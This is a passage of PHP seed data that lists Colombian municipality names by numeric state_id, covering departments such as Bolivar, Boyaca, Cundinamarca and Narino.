'usiacuri'],\n ['state_id' => '779', 'name' => 'bogota'],\n ['state_id' => '780', 'name' => 'achi'],\n ['state_id' => '780', 'name' => 'altos del rosario'],\n ['state_id' => '780', 'name' => 'arenal'],\n ['state_id' => '780', 'name' => 'arjona'],\n ['state_id' => '780', 'name' => 'arroyohondo'],\n ['state_id' => '780', 'name' => 'barranco de loba'],\n ['state_id' => '780', 'name' => 'calamar'],\n ['state_id' => '780', 'name' => 'cantagallo'],\n ['state_id' => '780', 'name' => 'cartagena'],\n ['state_id' => '780', 'name' => 'cicuco'],\n ['state_id' => '780', 'name' => 'clemencia'],\n ['state_id' => '780', 'name' => 'cordoba'],\n ['state_id' => '780', 'name' => 'el carmen de bolivar'],\n ['state_id' => '780', 'name' => 'el guamo'],\n ['state_id' => '780', 'name' => 'el penon'],\n ['state_id' => '780', 'name' => 'hatillo de loba'],\n ['state_id' => '780', 'name' => 'magangue'],\n ['state_id' => '780', 'name' => 'mahates'],\n ['state_id' => '780', 'name' => 'margarita'],\n ['state_id' => '780', 'name' => 'maria la baja'],\n ['state_id' => '780', 'name' => 'mompos'],\n ['state_id' => '780', 'name' => 'montecristo'],\n ['state_id' => '780', 'name' => 'morales'],\n ['state_id' => '780', 'name' => 'pinillos'],\n ['state_id' => '780', 'name' => 'regidor'],\n ['state_id' => '780', 'name' => 'rio viejo'],\n ['state_id' => '780', 'name' => 'san cristobal'],\n ['state_id' => '780', 'name' => 'san estanislao'],\n ['state_id' => '780', 'name' => 'san fernando'],\n ['state_id' => '780', 'name' => 'san jacinto'],\n ['state_id' => '780', 'name' => 'san jacinto del cauca'],\n ['state_id' => '780', 'name' => 'san juan nepomuceno'],\n ['state_id' => '780', 'name' => 'san martin de loba'],\n ['state_id' => '780', 'name' => 'san pablo'],\n ['state_id' => '780', 'name' => 'santa catalina'],\n ['state_id' => '780', 'name' => 'santa rosa'],\n ['state_id' => '780', 'name' => 'santa rosa del sur'],\n ['state_id' => '780', 'name' => 'simiti'],\n ['state_id' => '780', 'name' => 'soplaviento'],\n ['state_id' => '780', 'name' => 'talaigua nuevo'],\n ['state_id' => '780', 'name' => 'tiquisio'],\n ['state_id' => '780', 'name' => 'turbaco'],\n ['state_id' => '780', 'name' => 'turbana'],\n ['state_id' => '780', 'name' => 'villanueva'],\n ['state_id' => '780', 'name' => 'zambrano'],\n ['state_id' => '781', 'name' => 'almeida'],\n ['state_id' => '781', 'name' => 'aquitania'],\n ['state_id' => '781', 'name' => 'arcabuco'],\n ['state_id' => '781', 'name' => 'belen'],\n ['state_id' => '781', 'name' => 'berbeo'],\n ['state_id' => '781', 'name' => 'beteitiva'],\n ['state_id' => '781', 'name' => 'boavita'],\n ['state_id' => '781', 'name' => 'boyaca'],\n ['state_id' => '781', 'name' => 'briceno'],\n ['state_id' => '781', 'name' => 'buenavista'],\n ['state_id' => '781', 'name' => 'busbanza'],\n ['state_id' => '781', 'name' => 'caldas'],\n ['state_id' => '781', 'name' => 'campohermoso'],\n ['state_id' => '781', 'name' => 'cerinza'],\n ['state_id' => '781', 'name' => 'chinavita'],\n ['state_id' => '781', 'name' => 'chiquinquira'],\n ['state_id' => '781', 'name' => 'chiquiza'],\n ['state_id' => '781', 'name' => 'chiscas'],\n ['state_id' => '781', 'name' => 'chita'],\n ['state_id' => '781', 'name' => 'chitaraque'],\n ['state_id' => '781', 'name' => 'chivata'],\n ['state_id' => '781', 'name' => 'chivor'],\n ['state_id' => '781', 'name' => 'cienega'],\n ['state_id' => '781', 'name' => 'combita'],\n ['state_id' => '781', 'name' => 'coper'],\n ['state_id' => '781', 'name' => 'corrales'],\n ['state_id' => '781', 'name' => 'covarachia'],\n ['state_id' => '781', 'name' => 'cubara'],\n ['state_id' => '781', 'name' => 'cucaita'],\n ['state_id' => '781', 'name' => 'cuitiva'],\n ['state_id' => '781', 'name' => 'duitama'],\n ['state_id' => '781', 'name' => 'el cocuy'],\n ['state_id' => '781', 'name' => 'el espino'],\n ['state_id' => '781', 'name' => 'firavitoba'],\n ['state_id' => '781', 'name' => 'floresta'],\n ['state_id' => '781', 'name' => 'gachantiva'],\n ['state_id' => '781', 'name' => 'gameza'],\n ['state_id' => '781', 'name' => 'garagoa'],\n ['state_id' => '781', 'name' => 'guacamayas'],\n ['state_id' => '781', 'name' => 'guateque'],\n ['state_id' => '781', 'name' => 'guayata'],\n ['state_id' => '781', 'name' => 'guican'],\n ['state_id' => '781', 'name' => 'iza'],\n ['state_id' => '781', 'name' => 'jenesano'],\n ['state_id' => '781', 'name' => 'jerico'],\n ['state_id' => '781', 'name' => 'la capilla'],\n ['state_id' => '781', 'name' => 'la uvita'],\n ['state_id' => '781', 'name' => 'la victoria'],\n ['state_id' => '781', 'name' => 'labranzagrande'],\n ['state_id' => '781', 'name' => 'leiva'],\n ['state_id' => '781', 'name' => 'macanal'],\n ['state_id' => '781', 'name' => 'maripi'],\n ['state_id' => '781', 'name' => 'miraflores'],\n ['state_id' => '781', 'name' => 'mongua'],\n ['state_id' => '781', 'name' => 'mongui'],\n ['state_id' => '781', 'name' => 'moniquira'],\n ['state_id' => '781', 'name' => 'motavita'],\n ['state_id' => '781', 'name' => 'muzo'],\n ['state_id' => '781', 'name' => 'nobsa'],\n ['state_id' => '781', 'name' => 'nuevo colon'],\n ['state_id' => '781', 'name' => 'oicata'],\n ['state_id' => '781', 'name' => 'otanche'],\n ['state_id' => '781', 'name' => 'pachavita'],\n ['state_id' => '781', 'name' => 'paez'],\n ['state_id' => '781', 'name' => 'paipa'],\n ['state_id' => '781', 'name' => 'pajarito'],\n ['state_id' => '781', 'name' => 'panqueba'],\n ['state_id' => '781', 'name' => 'pauna'],\n ['state_id' => '781', 'name' => 'paya'],\n ['state_id' => '781', 'name' => 'paz del rio'],\n ['state_id' => '781', 'name' => 'pesca'],\n ['state_id' => '781', 'name' => 'pisba'],\n ['state_id' => '781', 'name' => 'puerto boyaca'],\n ['state_id' => '781', 'name' => 'quipama'],\n ['state_id' => '781', 'name' => 'ramiriqui'],\n ['state_id' => '781', 'name' => 'raquira'],\n ['state_id' => '781', 'name' => 'rondon'],\n ['state_id' => '781', 'name' => 'saboya'],\n ['state_id' => '781', 'name' => 'sachica'],\n ['state_id' => '781', 'name' => 'samaca'],\n ['state_id' => '781', 'name' => 'san eduardo'],\n ['state_id' => '781', 'name' => 'san jose de pare'],\n ['state_id' => '781', 'name' => 'san luis de gaceno'],\n ['state_id' => '781', 'name' => 'san mateo'],\n ['state_id' => '781', 'name' => 'san miguel de sema'],\n ['state_id' => '781', 'name' => 'san pablo de borbur'],\n ['state_id' => '781', 'name' => 'santa maria'],\n ['state_id' => '781', 'name' => 'santa rosa de viterbo'],\n ['state_id' => '781', 'name' => 'santa sofia'],\n ['state_id' => '781', 'name' => 'santana'],\n ['state_id' => '781', 'name' => 'sativanorte'],\n ['state_id' => '781', 'name' => 'sativasur'],\n ['state_id' => '781', 'name' => 'siachoque'],\n ['state_id' => '781', 'name' => 'soata'],\n ['state_id' => '781', 'name' => 'socha'],\n ['state_id' => '781', 'name' => 'socota'],\n ['state_id' => '781', 'name' => 'sogamoso'],\n ['state_id' => '781', 'name' => 'somondoco'],\n ['state_id' => '781', 'name' => 'sora'],\n ['state_id' => '781', 'name' => 'soraca'],\n ['state_id' => '781', 'name' => 'sotaquira'],\n ['state_id' => '781', 'name' => 'susacon'],\n ['state_id' => '781', 'name' => 'sutamarchan'],\n ['state_id' => '781', 'name' => 'sutatenza'],\n ['state_id' => '781', 'name' => 'tasco'],\n ['state_id' => '781', 'name' => 'tenza'],\n ['state_id' => '781', 'name' => 'tibana'],\n ['state_id' => '781', 'name' => 'tibasosa'],\n ['state_id' => '781', 'name' => 'tinjaca'],\n ['state_id' => '781', 'name' => 'tipacoque'],\n ['state_id' => '781', 'name' => 'toca'],\n ['state_id' => '781', 'name' => 'togui'],\n ['state_id' => '781', 'name' => 'topaga'],\n ['state_id' => '781', 'name' => 'tota'],\n ['state_id' => '781', 'name' => 'tunja'],\n ['state_id' => '781', 'name' => 'tunungua'],\n ['state_id' => '781', 'name' => 'turmeque'],\n ['state_id' => '781', 'name' => 'tuta'],\n ['state_id' => '781', 'name' => 'tutasa'],\n ['state_id' => '781', 'name' => 'umbita'],\n ['state_id' => '781', 'name' => 'ventaquemada'],\n ['state_id' => '781', 'name' => 'viracacha'],\n ['state_id' => '781', 'name' => 'zetaquira'],\n ['state_id' => '782', 'name' => 'aguadas'],\n ['state_id' => '782', 'name' => 'anserma'],\n ['state_id' => '782', 'name' => 'aranzazu'],\n ['state_id' => '782', 'name' => 'belalcazar'],\n ['state_id' => '782', 'name' => 'chinchina'],\n ['state_id' => '782', 'name' => 'filadelfia'],\n ['state_id' => '782', 'name' => 'la dorada'],\n ['state_id' => '782', 'name' => 'la merced'],\n ['state_id' => '782', 'name' => 'manizales'],\n ['state_id' => '782', 'name' => 'manzanares'],\n ['state_id' => '782', 'name' => 'marmato'],\n ['state_id' => '782', 'name' => 'marquetalia'],\n ['state_id' => '782', 'name' => 'marulanda'],\n ['state_id' => '782', 'name' => 'neira'],\n ['state_id' => '782', 'name' => 'norcasia'],\n ['state_id' => '782', 'name' => 'pacora'],\n ['state_id' => '782', 'name' => 'palestina'],\n ['state_id' => '782', 'name' => 'pensilvania'],\n ['state_id' => '782', 'name' => 'riosucio'],\n ['state_id' => '782', 'name' => 'risaralda'],\n ['state_id' => '782', 'name' => 'salamina'],\n ['state_id' => '782', 'name' => 'samana'],\n ['state_id' => '782', 'name' => 'san jose'],\n ['state_id' => '782', 'name' => 'supia'],\n ['state_id' => '782', 'name' => 'victoria'],\n ['state_id' => '782', 'name' => 'villamaria'],\n ['state_id' => '782', 'name' => 'viterbo'],\n ['state_id' => '783', 'name' => 'albania'],\n ['state_id' => '783', 'name' => 'belen andaquies'],\n ['state_id' => '783', 'name' => 'cartagena del chaira'],\n ['state_id' => '783', 'name' => 'curillo'],\n ['state_id' => '783', 'name' => 'el doncello'],\n ['state_id' => '783', 'name' => 'el paujil'],\n ['state_id' => '783', 'name' => 'florencia'],\n ['state_id' => '783', 'name' => 'la montanita'],\n ['state_id' => '783', 'name' => 'milan'],\n ['state_id' => '783', 'name' => 'morelia'],\n ['state_id' => '783', 'name' => 'puerto rico'],\n ['state_id' => '783', 'name' => 'san jose de fragua'],\n ['state_id' => '783', 'name' => 'san vicente del caguan'],\n ['state_id' => '783', 'name' => 'solano'],\n ['state_id' => '783', 'name' => 'solita'],\n ['state_id' => '783', 'name' => 'valparaiso'],\n ['state_id' => '784', 'name' => 'aguazul'],\n ['state_id' => '784', 'name' => 'chameza'],\n ['state_id' => '784', 'name' => 'hato corozal'],\n ['state_id' => '784', 'name' => 'la salina'],\n ['state_id' => '784', 'name' => 'mani'],\n ['state_id' => '784', 'name' => 'monterrey'],\n ['state_id' => '784', 'name' => 'nunchia'],\n ['state_id' => '784', 'name' => 'orocue'],\n ['state_id' => '784', 'name' => 'paz de ariporo'],\n ['state_id' => '784', 'name' => 'pore'],\n ['state_id' => '784', 'name' => 'recetor'],\n ['state_id' => '784', 'name' => 'sabanalarga'],\n ['state_id' => '784', 'name' => 'sacama'],\n ['state_id' => '784', 'name' => 'san luis de palenque'],\n ['state_id' => '784', 'name' => 'tamara'],\n ['state_id' => '784', 'name' => 'tauramena'],\n ['state_id' => '784', 'name' => 'trinidad'],\n ['state_id' => '784', 'name' => 'villanueva'],\n ['state_id' => '784', 'name' => 'yopal'],\n ['state_id' => '785', 'name' => 'almaguer'],\n ['state_id' => '785', 'name' => 'argelia'],\n ['state_id' => '785', 'name' => 'balboa'],\n ['state_id' => '785', 'name' => 'bolivar'],\n ['state_id' => '785', 'name' => 'buenos aires'],\n ['state_id' => '785', 'name' => 'cajibio'],\n ['state_id' => '785', 'name' => 'caldono'],\n ['state_id' => '785', 'name' => 'caloto'],\n ['state_id' => '785', 'name' => 'corinto'],\n ['state_id' => '785', 'name' => 'el bordo'],\n ['state_id' => '785', 'name' => 'el tambo'],\n ['state_id' => '785', 'name' => 'florencia'],\n ['state_id' => '785', 'name' => 'guapi'],\n ['state_id' => '785', 'name' => 'inza'],\n ['state_id' => '785', 'name' => 'jambalo'],\n ['state_id' => '785', 'name' => 'la sierra'],\n ['state_id' => '785', 'name' => 'la vega'],\n ['state_id' => '785', 'name' => 'lopez'],\n ['state_id' => '785', 'name' => 'mercaderes'],\n ['state_id' => '785', 'name' => 'miranda'],\n ['state_id' => '785', 'name' => 'morales'],\n ['state_id' => '785', 'name' => 'padilla'],\n ['state_id' => '785', 'name' => 'paez'],\n ['state_id' => '785', 'name' => 'piamonte'],\n ['state_id' => '785', 'name' => 'piendamo'],\n ['state_id' => '785', 'name' => 'popayan'],\n ['state_id' => '785', 'name' => 'puerto tejada'],\n ['state_id' => '785', 'name' => 'purace'],\n ['state_id' => '785', 'name' => 'rosas'],\n ['state_id' => '785', 'name' => 'san sebastian'],\n ['state_id' => '785', 'name' => 'santa rosa'],\n ['state_id' => '785', 'name' => 'santander de quilichao'],\n ['state_id' => '785', 'name' => 'silvia'],\n ['state_id' => '785', 'name' => 'sotara'],\n ['state_id' => '785', 'name' => 'suarez'],\n ['state_id' => '785', 'name' => 'sucre'],\n ['state_id' => '785', 'name' => 'timbio'],\n ['state_id' => '785', 'name' => 'timbiqui'],\n ['state_id' => '785', 'name' => 'toribio'],\n ['state_id' => '785', 'name' => 'totoro'],\n ['state_id' => '785', 'name' => 'villa rica'],\n ['state_id' => '786', 'name' => 'aguachica'],\n ['state_id' => '786', 'name' => 'agustin codazzi'],\n ['state_id' => '786', 'name' => 'astrea'],\n ['state_id' => '786', 'name' => 'becerril'],\n ['state_id' => '786', 'name' => 'bosconia'],\n ['state_id' => '786', 'name' => 'chimichagua'],\n ['state_id' => '786', 'name' => 'chiriguana'],\n ['state_id' => '786', 'name' => 'curumani'],\n ['state_id' => '786', 'name' => 'el copey'],\n ['state_id' => '786', 'name' => 'el paso'],\n ['state_id' => '786', 'name' => 'gamarra'],\n ['state_id' => '786', 'name' => 'gonzalez'],\n ['state_id' => '786', 'name' => 'la gloria'],\n ['state_id' => '786', 'name' => 'la jagua ibirico'],\n ['state_id' => '786', 'name' => 'manaure'],\n ['state_id' => '786', 'name' => 'pailitas'],\n ['state_id' => '786', 'name' => 'pelaya'],\n ['state_id' => '786', 'name' => 'pueblo bello'],\n ['state_id' => '786', 'name' => 'rio de oro'],\n ['state_id' => '786', 'name' => 'robles la paz'],\n ['state_id' => '786', 'name' => 'san alberto'],\n ['state_id' => '786', 'name' => 'san diego'],\n ['state_id' => '786', 'name' => 'san martin'],\n ['state_id' => '786', 'name' => 'tamalameque'],\n ['state_id' => '786', 'name' => 'valledupar'],\n ['state_id' => '787', 'name' => 'acandi'],\n ['state_id' => '787', 'name' => 'alto baudo'],\n ['state_id' => '787', 'name' => 'atrato'],\n ['state_id' => '787', 'name' => 'bagado'],\n ['state_id' => '787', 'name' => 'bahia solano'],\n ['state_id' => '787', 'name' => 'bajo baudo'],\n ['state_id' => '787', 'name' => 'bojaya'],\n ['state_id' => '787', 'name' => 'canton de san pablo'],\n ['state_id' => '787', 'name' => 'carmen del darien'],\n ['state_id' => '787', 'name' => 'certegui'],\n ['state_id' => '787', 'name' => 'condoto'],\n ['state_id' => '787', 'name' => 'el carmen'],\n ['state_id' => '787', 'name' => 'istmina'],\n ['state_id' => '787', 'name' => 'jurado'],\n ['state_id' => '787', 'name' => 'litoral del san juan'],\n ['state_id' => '787', 'name' => 'lloro'],\n ['state_id' => '787', 'name' => 'medio atrato'],\n ['state_id' => '787', 'name' => 'medio baudo'],\n ['state_id' => '787', 'name' => 'medio san juan'],\n ['state_id' => '787', 'name' => 'novita'],\n ['state_id' => '787', 'name' => 'nuqui'],\n ['state_id' => '787', 'name' => 'quibdo'],\n ['state_id' => '787', 'name' => 'rio iro'],\n ['state_id' => '787', 'name' => 'rio quito'],\n ['state_id' => '787', 'name' => 'riosucio'],\n ['state_id' => '787', 'name' => 'san jose del palmar'],\n ['state_id' => '787', 'name' => 'sipi'],\n ['state_id' => '787', 'name' => 'tado'],\n ['state_id' => '787', 'name' => 'unguia'],\n ['state_id' => '787', 'name' => 'union panamericana'],\n ['state_id' => '788', 'name' => 'ayapel'],\n ['state_id' => '788', 'name' => 'buenavista'],\n ['state_id' => '788', 'name' => 'canalete'],\n ['state_id' => '788', 'name' => 'cerete'],\n ['state_id' => '788', 'name' => 'chima'],\n ['state_id' => '788', 'name' => 'chinu'],\n ['state_id' => '788', 'name' => 'cienaga de oro'],\n ['state_id' => '788', 'name' => 'cotorra'],\n ['state_id' => '788', 'name' => 'la apartada'],\n ['state_id' => '788', 'name' => 'lorica'],\n ['state_id' => '788', 'name' => 'los cordobas'],\n ['state_id' => '788', 'name' => 'momil'],\n ['state_id' => '788', 'name' => 'monitos'],\n ['state_id' => '788', 'name' => 'montelibano'],\n ['state_id' => '788', 'name' => 'monteria'],\n ['state_id' => '788', 'name' => 'planeta rica'],\n ['state_id' => '788', 'name' => 'pueblo nuevo'],\n ['state_id' => '788', 'name' => 'puerto escondido'],\n ['state_id' => '788', 'name' => 'puerto libertador'],\n ['state_id' => '788', 'name' => 'purisima'],\n ['state_id' => '788', 'name' => 'sahagun'],\n ['state_id' => '788', 'name' => 'san andres sotavento'],\n ['state_id' => '788', 'name' => 'san antero'],\n ['state_id' => '788', 'name' => 'san bernardo viento'],\n ['state_id' => '788', 'name' => 'san carlos'],\n ['state_id' => '788', 'name' => 'san pelayo'],\n ['state_id' => '788', 'name' => 'tierralta'],\n ['state_id' => '788', 'name' => 'valencia'],\n ['state_id' => '789', 'name' => 'agua de dios'],\n ['state_id' => '789', 'name' => 'alban'],\n ['state_id' => '789', 'name' => 'anapoima'],\n ['state_id' => '789', 'name' => 'anolaima'],\n ['state_id' => '789', 'name' => 'arbelaez'],\n ['state_id' => '789', 'name' => 'beltran'],\n ['state_id' => '789', 'name' => 'bituima'],\n ['state_id' => '789', 'name' => 'bojaca'],\n ['state_id' => '789', 'name' => 'cabrera'],\n ['state_id' => '789', 'name' => 'cachipay'],\n ['state_id' => '789', 'name' => 'cajica'],\n ['state_id' => '789', 'name' => 'caparrapi'],\n ['state_id' => '789', 'name' => 'caqueza'],\n ['state_id' => '789', 'name' => 'carmen de carupa'],\n ['state_id' => '789', 'name' => 'chaguani'],\n ['state_id' => '789', 'name' => 'chia'],\n ['state_id' => '789', 'name' => 'chipaque'],\n ['state_id' => '789', 'name' => 'choachi'],\n ['state_id' => '789', 'name' => 'choconta'],\n ['state_id' => '789', 'name' => 'cogua'],\n ['state_id' => '789', 'name' => 'cota'],\n ['state_id' => '789', 'name' => 'cucunuba'],\n ['state_id' => '789', 'name' => 'el colegio'],\n ['state_id' => '789', 'name' => 'el penon'],\n ['state_id' => '789', 'name' => 'el rosal'],\n ['state_id' => '789', 'name' => 'facatativa'],\n ['state_id' => '789', 'name' => 'fomeque'],\n ['state_id' => '789', 'name' => 'fosca'],\n ['state_id' => '789', 'name' => 'funza'],\n ['state_id' => '789', 'name' => 'fuquene'],\n ['state_id' => '789', 'name' => 'fusagasuga'],\n ['state_id' => '789', 'name' => 'gachala'],\n ['state_id' => '789', 'name' => 'gachancipa'],\n ['state_id' => '789', 'name' => 'gacheta'],\n ['state_id' => '789', 'name' => 'gama'],\n ['state_id' => '789', 'name' => 'girardot'],\n ['state_id' => '789', 'name' => 'granada'],\n ['state_id' => '789', 'name' => 'guacheta'],\n ['state_id' => '789', 'name' => 'guaduas'],\n ['state_id' => '789', 'name' => 'guasca'],\n ['state_id' => '789', 'name' => 'guataqui'],\n ['state_id' => '789', 'name' => 'guatavita'],\n ['state_id' => '789', 'name' => 'guayabal de siquima'],\n ['state_id' => '789', 'name' => 'guayabetal'],\n ['state_id' => '789', 'name' => 'gutierrez'],\n ['state_id' => '789', 'name' => 'jerusalen'],\n ['state_id' => '789', 'name' => 'junin'],\n ['state_id' => '789', 'name' => 'la calera'],\n ['state_id' => '789', 'name' => 'la mesa'],\n ['state_id' => '789', 'name' => 'la palma'],\n ['state_id' => '789', 'name' => 'la pena'],\n ['state_id' => '789', 'name' => 'la vega'],\n ['state_id' => '789', 'name' => 'lenguazaque'],\n ['state_id' => '789', 'name' => 'macheta'],\n ['state_id' => '789', 'name' => 'madrid'],\n ['state_id' => '789', 'name' => 'manta'],\n ['state_id' => '789', 'name' => 'medina'],\n ['state_id' => '789', 'name' => 'mosquera'],\n ['state_id' => '789', 'name' => 'narino'],\n ['state_id' => '789', 'name' => 'nemocon'],\n ['state_id' => '789', 'name' => 'nilo'],\n ['state_id' => '789', 'name' => 'nimaima'],\n ['state_id' => '789', 'name' => 'nocaima'],\n ['state_id' => '789', 'name' => 'ospina perez'],\n ['state_id' => '789', 'name' => 'pacho'],\n ['state_id' => '789', 'name' => 'paime'],\n ['state_id' => '789', 'name' => 'pandi'],\n ['state_id' => '789', 'name' => 'paratebueno'],\n ['state_id' => '789', 'name' => 'pasca'],\n ['state_id' => '789', 'name' => 'puerto salgar'],\n ['state_id' => '789', 'name' => 'puli'],\n ['state_id' => '789', 'name' => 'quebradanegra'],\n ['state_id' => '789', 'name' => 'quetame'],\n ['state_id' => '789', 'name' => 'quipile'],\n ['state_id' => '789', 'name' => 'rafael reyes'],\n ['state_id' => '789', 'name' => 'ricaurte'],\n ['state_id' => '789', 'name' => 'san antonio del tequendama'],\n ['state_id' => '789', 'name' => 'san bernardo'],\n ['state_id' => '789', 'name' => 'san cayetano'],\n ['state_id' => '789', 'name' => 'san francisco'],\n ['state_id' => '789', 'name' => 'san juan de rioseco'],\n ['state_id' => '789', 'name' => 'sasaima'],\n ['state_id' => '789', 'name' => 'sesquile'],\n ['state_id' => '789', 'name' => 'sibate'],\n ['state_id' => '789', 'name' => 'silvania'],\n ['state_id' => '789', 'name' => 'simijaca'],\n ['state_id' => '789', 'name' => 'soacha'],\n ['state_id' => '789', 'name' => 'sopo'],\n ['state_id' => '789', 'name' => 'subachoque'],\n ['state_id' => '789', 'name' => 'suesca'],\n ['state_id' => '789', 'name' => 'supata'],\n ['state_id' => '789', 'name' => 'susa'],\n ['state_id' => '789', 'name' => 'sutatausa'],\n ['state_id' => '789', 'name' => 'tabio'],\n ['state_id' => '789', 'name' => 'tausa'],\n ['state_id' => '789', 'name' => 'tena'],\n ['state_id' => '789', 'name' => 'tenjo'],\n ['state_id' => '789', 'name' => 'tibacuy'],\n ['state_id' => '789', 'name' => 'tibirita'],\n ['state_id' => '789', 'name' => 'tocaima'],\n ['state_id' => '789', 'name' => 'tocancipa'],\n ['state_id' => '789', 'name' => 'topaipi'],\n ['state_id' => '789', 'name' => 'ubala'],\n ['state_id' => '789', 'name' => 'ubaque'],\n ['state_id' => '789', 'name' => 'ubate'],\n ['state_id' => '789', 'name' => 'une'],\n ['state_id' => '789', 'name' => 'utica'],\n ['state_id' => '789', 'name' => 'vergara'],\n ['state_id' => '789', 'name' => 'viani'],\n ['state_id' => '789', 'name' => 'villagomez'],\n ['state_id' => '789', 'name' => 'villapinzon'],\n ['state_id' => '789', 'name' => 'villeta'],\n ['state_id' => '789', 'name' => 'viota'],\n ['state_id' => '789', 'name' => 'yacopi'],\n ['state_id' => '789', 'name' => 'zipacon'],\n ['state_id' => '789', 'name' => 'zipaquira'],\n ['state_id' => '790', 'name' => 'inirida'],\n ['state_id' => '791', 'name' => 'calamar'],\n ['state_id' => '791', 'name' => 'el retorno'],\n ['state_id' => '791', 'name' => 'miraflores'],\n ['state_id' => '791', 'name' => 'san jose del guaviare'],\n ['state_id' => '792', 'name' => 'acevedo'],\n ['state_id' => '792', 'name' => 'agrado'],\n ['state_id' => '792', 'name' => 'aipe'],\n ['state_id' => '792', 'name' => 'algeciras'],\n ['state_id' => '792', 'name' => 'altamira'],\n ['state_id' => '792', 'name' => 'baraya'],\n ['state_id' => '792', 'name' => 'campoalegre'],\n ['state_id' => '792', 'name' => 'colombia'],\n ['state_id' => '792', 'name' => 'elias'],\n ['state_id' => '792', 'name' => 'garzon'],\n ['state_id' => '792', 'name' => 'gigante'],\n ['state_id' => '792', 'name' => 'guadalupe'],\n ['state_id' => '792', 'name' => 'hobo'],\n ['state_id' => '792', 'name' => 'iquira'],\n ['state_id' => '792', 'name' => 'isnos'],\n ['state_id' => '792', 'name' => 'la argentina'],\n ['state_id' => '792', 'name' => 'la plata'],\n ['state_id' => '792', 'name' => 'nataga'],\n ['state_id' => '792', 'name' => 'neiva'],\n ['state_id' => '792', 'name' => 'oporapa'],\n ['state_id' => '792', 'name' => 'paicol'],\n ['state_id' => '792', 'name' => 'palermo'],\n ['state_id' => '792', 'name' => 'palestina'],\n ['state_id' => '792', 'name' => 'pital'],\n ['state_id' => '792', 'name' => 'pitalito'],\n ['state_id' => '792', 'name' => 'rivera'],\n ['state_id' => '792', 'name' => 'saladoblanco'],\n ['state_id' => '792', 'name' => 'san agustin'],\n ['state_id' => '792', 'name' => 'santa maria'],\n ['state_id' => '792', 'name' => 'suaza'],\n ['state_id' => '792', 'name' => 'tarqui'],\n ['state_id' => '792', 'name' => 'tello'],\n ['state_id' => '792', 'name' => 'teruel'],\n ['state_id' => '792', 'name' => 'tesalia'],\n ['state_id' => '792', 'name' => 'timana'],\n ['state_id' => '792', 'name' => 'villavieja'],\n ['state_id' => '792', 'name' => 'yaguara'],\n ['state_id' => '794', 'name' => 'algarrobo'],\n ['state_id' => '794', 'name' => 'aracataca'],\n ['state_id' => '794', 'name' => 'ariguani'],\n ['state_id' => '794', 'name' => 'cerro san antonio'],\n ['state_id' => '794', 'name' => 'chivolo'],\n ['state_id' => '794', 'name' => 'cienaga'],\n ['state_id' => '794', 'name' => 'concordia'],\n ['state_id' => '794', 'name' => 'el banco'],\n ['state_id' => '794', 'name' => 'el pinon'],\n ['state_id' => '794', 'name' => 'el reten'],\n ['state_id' => '794', 'name' => 'fundacion'],\n ['state_id' => '794', 'name' => 'guamal'],\n ['state_id' => '794', 'name' => 'nueva granada'],\n ['state_id' => '794', 'name' => 'pedraza'],\n ['state_id' => '794', 'name' => 'pijino del carmen'],\n ['state_id' => '794', 'name' => 'pivijay'],\n ['state_id' => '794', 'name' => 'plato'],\n ['state_id' => '794', 'name' => 'puebloviejo'],\n ['state_id' => '794', 'name' => 'remolino'],\n ['state_id' => '794', 'name' => 'sabanas de san angel'],\n ['state_id' => '794', 'name' => 'salamina'],\n ['state_id' => '794', 'name' => 'san sebastian'],\n ['state_id' => '794', 'name' => 'san zenon'],\n ['state_id' => '794', 'name' => 'santa ana'],\n ['state_id' => '794', 'name' => 'santa barbara de pinto'],\n ['state_id' => '794', 'name' => 'santa marta'],\n ['state_id' => '794', 'name' => 'sitionuevo'],\n ['state_id' => '794', 'name' => 'tenerife'],\n ['state_id' => '794', 'name' => 'zapayan'],\n ['state_id' => '794', 'name' => 'zona bananera'],\n ['state_id' => '795', 'name' => 'acacias'],\n ['state_id' => '795', 'name' => 'barranca de upia'],\n ['state_id' => '795', 'name' => 'cabuyaro'],\n ['state_id' => '795', 'name' => 'castilla la nueva'],\n ['state_id' => '795', 'name' => 'cubarral'],\n ['state_id' => '795', 'name' => 'cumaral'],\n ['state_id' => '795', 'name' => 'el calvario'],\n ['state_id' => '795', 'name' => 'el castillo'],\n ['state_id' => '795', 'name' => 'el dorado'],\n ['state_id' => '795', 'name' => 'fuente de oro'],\n ['state_id' => '795', 'name' => 'granada'],\n ['state_id' => '795', 'name' => 'guamal'],\n ['state_id' => '795', 'name' => 'la macarena'],\n ['state_id' => '795', 'name' => 'la uribe'],\n ['state_id' => '795', 'name' => 'lejanias'],\n ['state_id' => '795', 'name' => 'mapiripan'],\n ['state_id' => '795', 'name' => 'mesetas'],\n ['state_id' => '795', 'name' => 'puerto concordia'],\n ['state_id' => '795', 'name' => 'puerto gaitan'],\n ['state_id' => '795', 'name' => 'puerto lleras'],\n ['state_id' => '795', 'name' => 'puerto lopez'],\n ['state_id' => '795', 'name' => 'puerto rico'],\n ['state_id' => '795', 'name' => 'restrepo'],\n ['state_id' => '795', 'name' => 'san carlos guaroa'],\n ['state_id' => '795', 'name' => 'san juan de arama'],\n ['state_id' => '795', 'name' => 'san juanito'],\n ['state_id' => '795', 'name' => 'san martin'],\n ['state_id' => '795', 'name' => 'villavicencio'],\n ['state_id' => '795', 'name' => 'vista hermosa'],\n ['state_id' => '796', 'name' => 'alban'],\n ['state_id' => '796', 'name' => 'aldana'],\n ['state_id' => '796', 'name' => 'ancuya'],\n ['state_id' => '796', 'name' => 'arboleda'],\n ['state_id' => '796', 'name' => 'barbacoas'],\n ['state_id' => '796', 'name' => 'belen'],\n ['state_id' => '796', 'name' => 'buesaco'],\n ['state_id' => '796', 'name' => 'chachagui'],\n ['state_id' => '796', 'name' => 'colon'],\n ['state_id' => '796', 'name' => 'consaca'],\n ['state_id' => '796', 'name' => 'contadero'],\n ['state_id' => '796', 'name' => 'cordoba'],\n ['state_id' => '796', 'name' => 'cuaspud'],\n ['state_id' => '796', 'name' => 'cumbal'],\n ['state_id' => '796', 'name' => 'cumbitara'],\n ['state_id' => '796', 'name' => 'el charco'],\n ['state_id' => '796', 'name' => 'el penol'],\n ['state_id' => '796', 'name' => 'el rosario'],\n ['state_id' => '796', 'name' => 'el tablon'],\n ['state_id' => '796', 'name' => 'el tambo'],\n ['state_id' => '796', 'name' => 'funes'],\n ['state_id' => '796', 'name' => 'guachucal'],\n ['state_id' => '796', 'name' => 'guaitarilla'],\n ['state_id' => '796', 'name' => 'gualmatan'],\n ['state_id' => '796', 'name' => 'iles'],\n ['state_id' => '796', 'name' => 'imues'],\n ['state_id' => '796', 'name' => 'ipiales'],\n ['state_id' => '796', 'name' => 'la cruz'],\n ['state_id' => '796', 